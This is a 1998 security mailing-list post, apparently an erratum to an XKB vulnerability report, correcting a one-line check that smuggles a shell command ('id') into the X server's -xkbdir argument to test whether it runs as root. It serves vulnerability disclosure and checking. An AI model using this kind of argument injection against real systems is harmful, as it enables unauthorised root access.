serious security problem in XKB--ERRATUM

From: Pavel Kankovsky (peakat_private)
Date: Wed Feb 04 1998 - 01:39:28 PST

  • Next message: Micha³ Zalewski: "RedHat 4.x/5.0 /dev permissions"

    > Quick vulnerability check:
    >
    > $ Xserver -xkbdir 'id > /tmp/I_WAS_HERE;'
    > [exit X server]
    > $ grep root /tmp/I_WAS_HERE && echo 'Gotcha!'
    
    This should read:
    
    $ Xserver -xkbdir ':;id > /tmp/I_WAS_HERE;'
    [exit X server]
    $ grep root /tmp/I_WAS_HERE && echo 'Gotcha!'
    
    
    --Pavel Kankovsky aka Peak   [ Boycott Microsoft -- http://www.vcnet.com/bms ]
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 13:41:30 PDT